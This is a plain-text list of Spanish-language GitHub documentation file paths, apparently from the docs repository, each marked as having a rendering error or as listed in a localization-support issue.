+translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,Listed in localization-support#489 +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error +translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md,rendering error +translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error +translations/es-ES/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,Listed in localization-support#489 +translations/es-ES/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,rendering error +translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md,rendering error +translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error +translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-powershell.md,Listed in localization-support#489 +translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-powershell.md,rendering error +translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md,Listed in localization-support#489 +translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error +translations/es-ES/content/actions/creating-actions/creating-a-docker-container-action.md,Listed in localization-support#489 +translations/es-ES/content/actions/creating-actions/creating-a-docker-container-action.md,rendering error +translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md,rendering error +translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md,rendering error +translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md,rendering error +translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md,rendering error +translations/es-ES/content/actions/deployment/about-deployments/index.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/about-deployments/index.md,rendering error +translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md,rendering error +translations/es-ES/content/actions/deployment/managing-your-deployments/index.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/managing-your-deployments/index.md,rendering error +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md,rendering error +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/index.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/index.md,rendering error +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,Listed in localization-support#489 +translations/es-ES/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error +translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md,rendering error +translations/es-ES/content/actions/guides.md,rendering error +translations/es-ES/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,Listed in localization-support#489 +translations/es-ES/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error +translations/es-ES/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,Listed in localization-support#489 +translations/es-ES/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,rendering error +translations/es-ES/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md,Listed in localization-support#489 +translations/es-ES/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md,rendering error +translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md,rendering error +translations/es-ES/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,Listed in localization-support#489 +translations/es-ES/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error +translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,rendering error +translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error +translations/es-ES/content/actions/index.md,Listed in localization-support#489 +translations/es-ES/content/actions/index.md,rendering error +translations/es-ES/content/actions/learn-github-actions/contexts.md,Listed in localization-support#489 +translations/es-ES/content/actions/learn-github-actions/contexts.md,rendering error +translations/es-ES/content/actions/learn-github-actions/environment-variables.md,Listed in localization-support#489 +translations/es-ES/content/actions/learn-github-actions/environment-variables.md,rendering error +translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md,Listed in localization-support#489 +translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md,rendering error +translations/es-ES/content/actions/learn-github-actions/expressions.md,rendering error +translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md,rendering error +translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md,rendering error +translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md,rendering error +translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error +translations/es-ES/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,Listed in localization-support#489 +translations/es-ES/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error +translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,Listed in localization-support#489 +translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error +translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md,rendering error +translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md,rendering error +translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md,Listed in localization-support#489 +translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md,rendering error +translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,rendering error +translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error +translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md,rendering error +translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md,rendering error +translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md,rendering error +translations/es-ES/content/actions/quickstart.md,Listed in localization-support#489 +translations/es-ES/content/actions/quickstart.md,rendering error +translations/es-ES/content/actions/security-guides/automatic-token-authentication.md,Listed in localization-support#489 +translations/es-ES/content/actions/security-guides/automatic-token-authentication.md,rendering error +translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error +translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md,rendering error +translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,Listed in localization-support#489 +translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,rendering error +translations/es-ES/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md,Listed in localization-support#489 +translations/es-ES/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md,rendering error +translations/es-ES/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error +translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error +translations/es-ES/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md,Listed in localization-support#489 +translations/es-ES/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md,rendering error +translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,Listed in localization-support#489 +translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error +translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md,rendering error +translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,rendering error +translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,Listed in localization-support#489 +translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,rendering error +translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,rendering error +translations/es-ES/content/admin/authentication/index.md,rendering error +translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md,rendering error +translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error +translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md,rendering error +translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error +translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,rendering error +translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error +translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error +translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,rendering error +translations/es-ES/content/admin/configuration/configuring-your-enterprise/index.md,rendering error +translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,rendering error +translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md,rendering error +translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,rendering error +translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,Listed in localization-support#489 +translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error +translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,rendering error +translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error +translations/es-ES/content/admin/enterprise-management/caching-repositories/about-repository-caching.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/caching-repositories/about-repository-caching.md,rendering error +translations/es-ES/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md,rendering error +translations/es-ES/content/admin/enterprise-management/caching-repositories/index.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/caching-repositories/index.md,rendering error +translations/es-ES/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md,rendering error +translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md,rendering error +translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md,rendering error +translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error +translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error +translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md,rendering error +translations/es-ES/content/admin/enterprise-management/index.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/index.md,rendering error +translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error +translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error +translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error +translations/es-ES/content/admin/enterprise-support/overview/about-github-enterprise-support.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error +translations/es-ES/content/admin/enterprise-support/overview/about-support-for-advanced-security.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-support/overview/about-support-for-advanced-security.md,rendering error +translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,rendering error +translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,Listed in localization-support#489 +translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,rendering error +translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,Listed in localization-support#489 +translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,rendering error +translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,Listed in localization-support#489 +translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error +translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,Listed in localization-support#489 +translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error +translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error +translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error +translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error +translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error +translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error +translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error +translations/es-ES/content/admin/github-actions/index.md,rendering error +translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error +translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,Listed in localization-support#489 +translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error +translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,Listed in localization-support#489 +translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,rendering error +translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,Listed in localization-support#489 +translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,rendering error +translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error +translations/es-ES/content/admin/guides.md,Listed in localization-support#489 +translations/es-ES/content/admin/guides.md,rendering error +translations/es-ES/content/admin/index.md,rendering error +translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,Listed in localization-support#489 +translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,rendering error +translations/es-ES/content/admin/overview/about-enterprise-accounts.md,Listed in localization-support#489 +translations/es-ES/content/admin/overview/about-enterprise-accounts.md,rendering error +translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md,rendering error +translations/es-ES/content/admin/overview/creating-an-enterprise-account.md,Listed in localization-support#489 +translations/es-ES/content/admin/overview/creating-an-enterprise-account.md,rendering error +translations/es-ES/content/admin/overview/index.md,Listed in localization-support#489 +translations/es-ES/content/admin/overview/index.md,rendering error +translations/es-ES/content/admin/overview/system-overview.md,rendering error +translations/es-ES/content/admin/packages/enabling-github-packages-with-minio.md,Listed in localization-support#489 +translations/es-ES/content/admin/packages/enabling-github-packages-with-minio.md,rendering error +translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,rendering error +translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error +translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md,rendering error +translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,rendering error +translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md,rendering error +translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md,rendering error +translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md,rendering error +translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,rendering error +translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md,rendering error +translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,rendering error +translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,Listed in localization-support#489 +translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error +translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md,rendering error +translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,rendering error +translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md,rendering error +translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md,rendering error +translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md,rendering error +translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md,Listed in localization-support#489 +translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md,rendering error +translations/es-ES/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md,Listed in localization-support#489 +translations/es-ES/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md,Listed in localization-support#489 +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,Listed in localization-support#489 +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md,Listed in localization-support#489 +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,Listed in localization-support#489 +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,rendering error +translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,rendering error +translations/es-ES/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,Listed in localization-support#489 +translations/es-ES/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,rendering error +translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error +translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md,rendering error +translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error +translations/es-ES/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md,Listed in localization-support#489 +translations/es-ES/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md,rendering error +translations/es-ES/content/billing/index.md,rendering error +translations/es-ES/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,Listed in localization-support#489 +translations/es-ES/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,rendering error +translations/es-ES/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,Listed in localization-support#489 +translations/es-ES/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,rendering error +translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md,rendering error +translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,rendering error +translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error +translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md,rendering error +translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md,rendering error +translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md,rendering error +translations/es-ES/content/billing/managing-your-license-for-github-enterprise/index.md,rendering error +translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,Listed in localization-support#489 +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,Listed in localization-support#489 +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,Listed in localization-support#489 +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,Listed in localization-support#489 +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,Listed in localization-support#489 +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,rendering error +translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,rendering error +translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/index.md,rendering error +translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,rendering error +translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,rendering error +translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md,rendering error 